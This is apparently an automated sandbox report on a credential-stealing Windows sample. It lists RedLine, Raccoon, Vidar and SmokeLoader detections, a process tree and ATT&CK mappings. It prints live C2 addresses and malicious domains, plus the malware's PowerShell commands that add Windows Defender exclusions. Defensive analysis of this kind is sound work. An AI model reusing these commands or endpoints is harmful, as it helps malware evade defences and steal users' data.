
ID: 511828
Sample Name:
y8WngeDn4q.exe
Cookbook: default.jbs
Time: 17:53:10
Date: 29/10/2021
Version: 34.0.0 Boulder Opal
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Analysis Process: y8WngeDn4q.exe PID: 4892 Parent PID: 6112
General

Analysis Process: y8WngeDn4q.exe PID: 6372 Parent PID: 4892
General

Analysis Process: explorer.exe PID: 3440 Parent PID: 6372
General
File Activities

File Created
File Deleted
File Written

Analysis Process: esdfufc PID: 5704 Parent PID: 936
General

Analysis Process: 8908.exe PID: 2288 Parent PID: 3440
General

Analysis Process: esdfufc PID: 6124 Parent PID: 5704
General

Analysis Process: 8908.exe PID: 2940 Parent PID: 2288
General

Analysis Process: 37D8.exe PID: 6468 Parent PID: 3440
General
File Activities

File Created
File Deleted
File Written
File Read

Registry Activities
Key Created
Key Value Created

Analysis Process: 3FD8.exe PID: 5400 Parent PID: 3440
General
File Activities

File Created
File Read

Registry Activities

Analysis Process: 4EDC.exe PID: 5004 Parent PID: 3440
General
File Activities

File Created
File Written

Analysis Process: 60DF.exe PID: 1768 Parent PID: 3440
General
File Activities

File Created
File Deleted
File Written
File Read

Registry Activities
Key Value Created

Analysis Process: AdvancedRun.exe PID: 5988 Parent PID: 6468
General

Analysis Process: 6E1E.exe PID: 6128 Parent PID: 3440
General

Analysis Process: AdvancedRun.exe PID: 1916 Parent PID: 5988
General

Analysis Process: E4D7.exe PID: 6552 Parent PID: 3440
General

Analysis Process: powershell.exe PID: 5392 Parent PID: 6468
General

Analysis Process: conhost.exe PID: 6248 Parent PID: 5392
General

Analysis Process: AdvancedRun.exe PID: 780 Parent PID: 1768
General

Analysis Process: DataSvcUtil.exe PID: 6420 Parent PID: 6468
General

Analysis Process: AdvancedRun.exe PID: 5192 Parent PID: 780
General

Analysis Process: powershell.exe PID: 4836 Parent PID: 1768
General

Analysis Process: conhost.exe PID: 5032 Parent PID: 4836
General

Analysis Process: csdfufc PID: 5092 Parent PID: 936
General

Analysis Process: B74C.exe PID: 4976 Parent PID: 3440
General

Analysis Process: C651.exe PID: 3316 Parent PID: 3440
General

Analysis Process: SMSvcHost.exe PID: 5468 Parent PID: 6468
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Windows Analysis Report y8WngeDn4q.exe

Overview

General Information

Sample 
Name:

y8WngeDn4q.exe

Analysis ID: 511828

MD5: 2ba5d1028f7babc…

SHA1: 98c817b375bb00…

SHA256: 555fd11933a1bb3…

Tags: exe RaccoonStealer

Infos:

Most interesting Screenshot:

Detection

Raccoon RedLineRaccoon RedLine
SmokeLoader VidarSmokeLoader Vidar

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine StealerYara detected RedLine Stealer

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its oDetected unpacking (overwrites its o……

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3Yara detected AntiVM3

Yara detected Vidar

Yara detected Vidar

Yara detected Vidar

Yara detected Vidar

Yara detected Vidar

Yara detected Vidar

Yara detected VidarYara detected Vidar

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoaderYara detected SmokeLoader

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected Raccoon Stealer

Yara detected Raccoon Stealer

Yara detected Raccoon Stealer

Yara detected Raccoon Stealer

Yara detected Raccoon Stealer

Yara detected Raccoon Stealer

Yara detected Raccoon StealerYara detected Raccoon Stealer

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE seDetected unpacking (changes PE se……

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Yara detected UAC Bypass using C

Yara detected UAC Bypass using C

Yara detected UAC Bypass using C

Yara detected UAC Bypass using C

Yara detected UAC Bypass using C

Yara detected UAC Bypass using C

Yara detected UAC Bypass using CYara detected UAC Bypass using C……

DLL reload attack detected

DLL reload attack detected

DLL reload attack detected

DLL reload attack detected

DLL reload attack detected

DLL reload attack detected

DLL reload attack detectedDLL reload attack detected

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE fBenign windows process drops PE f……

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for domaMulti AV Scanner detection for doma……

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script ESigma detected: Suspicious Script E……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign processAllocates memory in foreign process……

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia.NET source code contains potentia……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg.NET source code contains very larg……

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code Contains functionality to inject code ……

Deletes itself after installation

Deletes itself after installation

Deletes itself after installation

Deletes itself after installation

Deletes itself after installation

Deletes itself after installation

Deletes itself after installationDeletes itself after installation

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing Creates a thread in another existing ……

Adds a directory exclusion to Windo

Adds a directory exclusion to Windo

Adds a directory exclusion to Windo

Adds a directory exclusion to Windo

Adds a directory exclusion to Windo

Adds a directory exclusion to Windo

Adds a directory exclusion to WindoAdds a directory exclusion to Windo……

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dowHides that the sample has been dow……

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a vChecks if the current machine is a v……

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser inTries to harvest and steal browser in……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

Renames NTDLL to bypass HIPS

Renames NTDLL to bypass HIPS

Renames NTDLL to bypass HIPS

Renames NTDLL to bypass HIPS

Renames NTDLL to bypass HIPS

Renames NTDLL to bypass HIPS

Renames NTDLL to bypass HIPSRenames NTDLL to bypass HIPS

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQChecks for kernel code integrity (NtQ……

Sigma detected: Powershell Defende

Sigma detected: Powershell Defende

Sigma detected: Powershell Defende

Sigma detected: Powershell Defende

Sigma detected: Powershell Defende

Sigma detected: Powershell Defende

Sigma detected: Powershell DefendeSigma detected: Powershell Defende……

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for droppMachine Learning detection for dropp……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, thisVery long cmdline option found, this……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

y8WngeDn4q.exe (PID: 4892 cmdline: 'C:\Users\user\Desktop\y8WngeDn4q.exe'  MD5: 2BA5D1028F7BABCA366060BDE97BF482)

y8WngeDn4q.exe (PID: 6372 cmdline: 'C:\Users\user\Desktop\y8WngeDn4q.exe'  MD5: 2BA5D1028F7BABCA366060BDE97BF482)

explorer.exe (PID: 3440 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

8908.exe (PID: 2288 cmdline: C:\Users\user\AppData\Local\Temp\8908.exe MD5: 2BA5D1028F7BABCA366060BDE97BF482)

8908.exe (PID: 2940 cmdline: C:\Users\user\AppData\Local\Temp\8908.exe MD5: 2BA5D1028F7BABCA366060BDE97BF482)

37D8.exe (PID: 6468 cmdline: C:\Users\user\AppData\Local\Temp\37D8.exe MD5: F57B28AEC65D4691202B9524F84CC54A)

AdvancedRun.exe (PID: 5988 cmdline: 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /EXEFilename 'C:\Users

\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run 
MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

AdvancedRun.exe (PID: 1916 cmdline: 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /SpecialRun 4101d8 

5988 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)
powershell.exe (PID: 5392 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\App

Data\Local\Temp\37D8.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)
conhost.exe (PID: 6248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

DataSvcUtil.exe (PID: 6420 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe MD5: CCDF8F3B189FFB839B390F695FAE2A6D)

SMSvcHost.exe (PID: 5468 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe MD5: 7EC8B56348F9298BCCA7A745C7F70E2C)

3FD8.exe (PID: 5400 cmdline: C:\Users\user\AppData\Local\Temp\3FD8.exe MD5: 787AF677D0C317E8062B9705CB64F951)

4EDC.exe (PID: 5004 cmdline: C:\Users\user\AppData\Local\Temp\4EDC.exe MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)

60DF.exe (PID: 1768 cmdline: C:\Users\user\AppData\Local\Temp\60DF.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

AdvancedRun.exe (PID: 780 cmdline: 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /EXEFilename 'C:\Users

\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run 
MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

AdvancedRun.exe (PID: 5192 cmdline: 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /SpecialRun 

4101d8 780 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)
powershell.exe (PID: 4836 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\App

Data\Local\Temp\60DF.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)
conhost.exe (PID: 5032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

6E1E.exe (PID: 6128 cmdline: C:\Users\user\AppData\Local\Temp\6E1E.exe MD5: 31BE6099D31BDBF1ED339EFFDC1C7064)

E4D7.exe (PID: 6552 cmdline: C:\Users\user\AppData\Local\Temp\E4D7.exe MD5: BB71D72E7391E33F98C1291C0F499BA6)

B74C.exe (PID: 4976 cmdline: C:\Users\user\AppData\Local\Temp\B74C.exe MD5: 3362B53647F312CD069D71E3662A9155)

C651.exe (PID: 3316 cmdline: C:\Users\user\AppData\Local\Temp\C651.exe MD5: FA00DF47BCC5F9AD16ED71856FB6F4D6)

D083.exe (PID: 5524 cmdline: C:\Users\user\AppData\Local\Temp\D083.exe MD5: FA6D8115D2266A121FE7C1552C0DDDFD)

esdfufc (PID: 5704 cmdline: C:\Users\user\AppData\Roaming\esdfufc MD5: 2BA5D1028F7BABCA366060BDE97BF482)

esdfufc (PID: 6124 cmdline: C:\Users\user\AppData\Roaming\esdfufc MD5: 2BA5D1028F7BABCA366060BDE97BF482)

csdfufc (PID: 5092 cmdline: C:\Users\user\AppData\Roaming\csdfufc MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)

cleanup

Process Tree
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{

  "C2 url": [

    "45.9.20.149:10844"

  ],

  "Bot Id": ""

}

{

  "C2 list": [

    "http://193.56.146.214/",

    "https://193.56.146.214/"

  ]

}

Source Rule Description Author Strings

dump.pcap JoeSecurity_Vidar_2 Yara detected 
Vidar

Joe Security

Source Rule Description Author Strings

C:\Users\user\AppData\Local\Temp\60DF.exe SUSP_PE_Discord_Attach
ment_Oct21_1

Detects suspicious 
executable with 
reference to a 
Discord 
attachment (often 
used for malware 
hosting on a 
legitimate FQDN)

Florian Roth 0x20735:$x1: https://cdn.discordapp.com/attachments/
0x207e9:$x1: https://cdn.discordapp.com/attachments/

C:\Users\user\AppData\Local\Temp\D083.exe SUSP_PE_Discord_Attach
ment_Oct21_1

Detects suspicious 
executable with 
reference to a 
Discord 
attachment (often 
used for malware 
hosting on a 
legitimate FQDN)

Florian Roth 0x4443:$x1: https://cdn.discordapp.com/attachments/

C:\Users\user\AppData\Local\Temp\3FD8.exe SUSP_PE_Discord_Attach
ment_Oct21_1

Detects suspicious 
executable with 
reference to a 
Discord 
attachment (often 
used for malware 
hosting on a 
legitimate FQDN)

Florian Roth 0x43bf:$x1: https://cdn.discordapp.com/attachments/

C:\Users\user\AppData\Local\Temp\FC0C.exe SUSP_PE_Discord_Attach
ment_Oct21_1

Detects suspicious 
executable with 
reference to a 
Discord 
attachment (often 
used for malware 
hosting on a 
legitimate FQDN)

Florian Roth 0x7afd7:$x1: https://cdn.discordapp.com/attachments/

C:\Users\user\AppData\Local\Temp\37D8.exe SUSP_PE_Discord_Attach
ment_Oct21_1

Detects suspicious 
executable with 
reference to a 
Discord 
attachment (often 
used for malware 
hosting on a 
legitimate FQDN)

Florian Roth 0x7b593:$x1: https://cdn.discordapp.com/attachments/
0x7b647:$x1: https://cdn.discordapp.com/attachments/

Malware Configuration

Threatname: RedLine

Threatname: SmokeLoader

Yara Overview

PCAP (Network Traffic)

Dropped Files
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Sigma Overview

System Summary:

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Powershell Defender Exclusion

Sigma detected: Non Interactive PowerShell

Sigma detected: T1086 PowerShell Execution

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Yara detected Raccoon Stealer

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Machine Learning detection for dropped file

Source Rule Description Author Strings

00000022.00000000.568099425.000000000040
2000.00000040.00000001.sdmp

JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

00000003.00000002.412091703.000000000209
1000.00000004.00020000.sdmp

JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

0000002A.00000002.634272090.000000000040
2000.00000040.00000001.sdmp

JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

0000000E.00000002.482521678.00000000005A
1000.00000004.00020000.sdmp

JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

0000001B.00000002.558722900.00000000048B
0000.00000004.00000001.sdmp

JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

Click to see the 17 entries

Source Rule Description Author Strings

15.1.8908.exe.400000.0.unpack JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

15.2.8908.exe.400000.0.unpack JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

13.2.8908.exe.2b615a0.1.raw.unpack JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

14.0.esdfufc.400000.5.unpack JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

24.0.60DF.exe.440000.2.unpack SUSP_PE_Discord_Attach
ment_Oct21_1

Detects suspicious 
executable with 
reference to a 
Discord 
attachment (often 
used for malware 
hosting on a 
legitimate FQDN)

Florian Roth 0x20735:$x1: https://cdn.discordapp.com/attachments/
0x207e9:$x1: https://cdn.discordapp.com/attachments/

Click to see the 41 entries

Memory Dumps

Unpacked PEs
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Exploits:

Yara detected UAC Bypass using CMSTP

Compliance:

Detected unpacking (overwrites its own PE header)

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

C2 URLs / IPs found in malware configuration

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

E-Banking Fraud:

Yara detected Raccoon Stealer

System Summary:

.NET source code contains very large array initializations

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Detected unpacking (changes PE section rights)

.NET source code contains potential unpacker

Hooking and other Techniques for Hiding and Protection:

DLL reload attack detected

Deletes itself after installation

Hides that the sample has been downloaded from the Internet (zone.identifier)

Malware Analysis System Evasion:

Yara detected AntiVM3

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Checks if the current machine is a virtual machine (disk enumeration)

Renames NTDLL to bypass HIPS

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)
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Benign windows process drops PE files

Maps a DLL or memory area into another process

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Adds a directory exclusion to Windows Defender

Sample uses process hollowing technique

Writes to foreign memory regions

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Yara detected Vidar

Yara detected SmokeLoader

Yara detected Raccoon Stealer

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality:

Yara detected RedLine Stealer

Yara detected Vidar

Yara detected SmokeLoader

Yara detected Raccoon Stealer

Mitre Att&ck Matrix

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Valid
Accounts

Native API 1 DLL Side-
Loading 1 1

Exploitation for
Privilege
Escalation 1

Disable or Modify
Tools 1 1

OS
Credential
Dumping 1

System Time
Discovery 1

Remote
Services

Archive
Collected
Data 1

Exfiltration Over Other
Network Medium

Ingress Tool
Transfer

Default
Accounts

Shared
Modules 1

Application
Shimming 1

DLL Side-
Loading 1 1

Deobfuscate/Decode
Files or Information 1

Input
Capture 1

File and Directory
Discovery 2

Remote
Desktop
Protocol

Data from
Local
System 1

Exfiltration Over
Bluetooth

Encrypted
Channel

Domain
Accounts

Exploitation for
Client
Execution 1

Windows
Service 1

Application
Shimming 1

Obfuscated Files or
Information 3

Security
Account
Manager

System Information
Discovery 1 5

SMB/Windows
Admin Shares

Input
Capture 1

Automated Exfiltration Non-Standard
Port 1

Local
Accounts

Command and
Scripting
Interpreter 1 2

Logon Script
(Mac)

Access Token
Manipulation 1

Software
Packing 3 3

NTDS Query Registry 1 Distributed
Component
Object Model

Input
Capture

Scheduled Transfer Non-Application
Layer Protocol

Cloud
Accounts

Service
Execution 2

Network
Logon Script

Windows
Service 1

Timestomp 1 LSA
Secrets

Security Software
Discovery 4 3 1

SSH Keylogging Data Transfer Size
Limits

Application Layer
Protocol

Replication
Through
Removable
Media

Launchd Rc.common Process
Injection 8 1 2

DLL Side-
Loading 1 1

Cached
Domain
Credentials

Virtualization/Sandbox
Evasion 1 3 1

VNC GUI Input
Capture

Exfiltration Over C2
Channel

Multiband
Communication

External
Remote
Services

Scheduled Task Startup Items Startup Items File Deletion 1 DCSync Process Discovery 3 Windows
Remote
Management

Web
Portal
Capture

Exfiltration Over
Alternative Protocol

Commonly Used
Port

Drive-by
Compromise

Command and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Masquerading 1 1 Proc
Filesystem

Application Window
Discovery 1

Shared
Webroot

Credential
API
Hooking

Exfiltration Over
Symmetric Encrypted
Non-C2 Protocol

Application Layer
Protocol

Exploit Public-
Facing
Application

PowerShell At (Linux) At (Linux) Virtualization/Sandbox
Evasion 1 3 1

/etc/passwd
and
/etc/shadow

Remote System
Discovery 1

Software
Deployment
Tools

Data
Staged

Exfiltration Over
Asymmetric Encrypted
Non-C2 Protocol

Web Protocols

Supply Chain
Compromise

AppleScript At (Windows) At (Windows) Access Token
Manipulation 1

Network
Sniffing

Process Discovery Taint Shared
Content

Local Data
Staging

Exfiltration Over
Unencrypted/Obfuscated
Non-C2 Protocol

File Transfer
Protocols
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Compromise
Software
Dependencies
and
Development
Tools

Windows
Command Shell

Cron Cron Process
Injection 8 1 2

Input
Capture

Permission Groups
Discovery

Replication
Through
Removable
Media

Remote
Data
Staging

Exfiltration Over
Physical Medium

Mail Protocols

Compromise
Software
Supply Chain

Unix Shell Launchd Launchd Hidden Files and
Directories 1

Keylogging Local Groups Component
Object Model
and
Distributed
COM

Screen
Capture

Exfiltration over USB DNS

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Behavior Graph
ID: 511828

Sample: y8WngeDn4q.exe

Startdate: 29/10/2021

Architecture: WINDOWS

Score: 100

mas.to hajezey1.top 2 other IPs or domains

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Multi AV Scanner detection
for domain / URL Found malware configuration 17 other signatures

y8WngeDn4q.exe

        started       

esdfufc

        started       

csdfufc

        started       

Contains functionality
to inject code into
remote processes

Injects a PE file into
a foreign processes

y8WngeDn4q.exe

        started       Machine Learning detection
for dropped file

esdfufc

        started       

Checks for kernel code
integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Maps a DLL or memory
area into another process

Checks if the current
machine is a virtual

machine (disk enumeration)

explorer.exe

14

injected
Creates a thread in

another existing process
(thread injection)

sysaheu90.top

185.98.87.159, 49758, 49760, 49761

VM-HOSTINGRU

Russian Federation

216.128.137.31, 80

AS-CHOOPAUS

United States

7 other IPs or domains

C:\Users\user\AppData\Roaming\gbdfufc, PE32

dropped

C:\Users\user\AppData\Roaming\esdfufc, PE32

dropped

C:\Users\user\AppData\Roaming\csdfufc, PE32

dropped

16 other malicious files

dropped

System process connects
to network (likely due
to code injection or

exploit)

Benign windows process
drops PE files

Deletes itself after
installation

Hides that the sample
has been downloaded

from the Internet (zone.identifier)

4EDC.exe

1

        started       

37D8.exe

21 6

        started       

6E1E.exe

        started       

7 other processes

C:\Users\user\AppData\Local\Temp\1105.tmp, PE32

dropped

Multi AV Scanner detection
for dropped file DLL reload attack detected Detected unpacking (changes

PE section rights) 2 other signatures

cdn.discordapp.com

162.159.135.233, 443, 49799, 49805

CLOUDFLARENETUS

United States

C:\Users\user\AppData\...\AdvancedRun.exe, PE32

dropped

Machine Learning detection
for dropped file

Writes to foreign memory
regions

Allocates memory in
foreign processes 2 other signatures

AdvancedRun.exe

        started       

powershell.exe

        started       

DataSvcUtil.exe

        started       

SMSvcHost.exe

        started       

Checks for kernel code
integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 2 other signatures

194.180.174.181, 49859, 80

MIVOCLOUDMD

unknown

93.115.20.139, 28978, 49854

MVPShttpswwwmvpsnetEU

Romania

3 other IPs or domains

C:\Users\user\AppData\...\AdvancedRun.exe, PE32

dropped

C:\Users\user\AppData\LocalLow\sqlite3.dll, PE32

dropped

Detected unpacking (overwrites
its own PE header)

Tries to harvest and
steal browser information

(history, passwords,
etc)

Adds a directory exclusion
to Windows Defender

AdvancedRun.exe

        started       

powershell.exe

        started       

8908.exe

        started       

AdvancedRun.exe

        started       

conhost.exe

        started       

AdvancedRun.exe

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots
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Source Detection Scanner Label Link

y8WngeDn4q.exe 36% Virustotal Browse

y8WngeDn4q.exe 100% Joe Sandbox ML

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\E11F.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\DAA6.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\B74C.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\60DF.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\FBAD.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Roaming\gbdfufc 100% Joe Sandbox ML

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files
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C:\Users\user\AppData\Roaming\csdfufc 100% Joe Sandbox ML

C:\Users\user\AppData\Roaming\esdfufc 100% Joe Sandbox ML

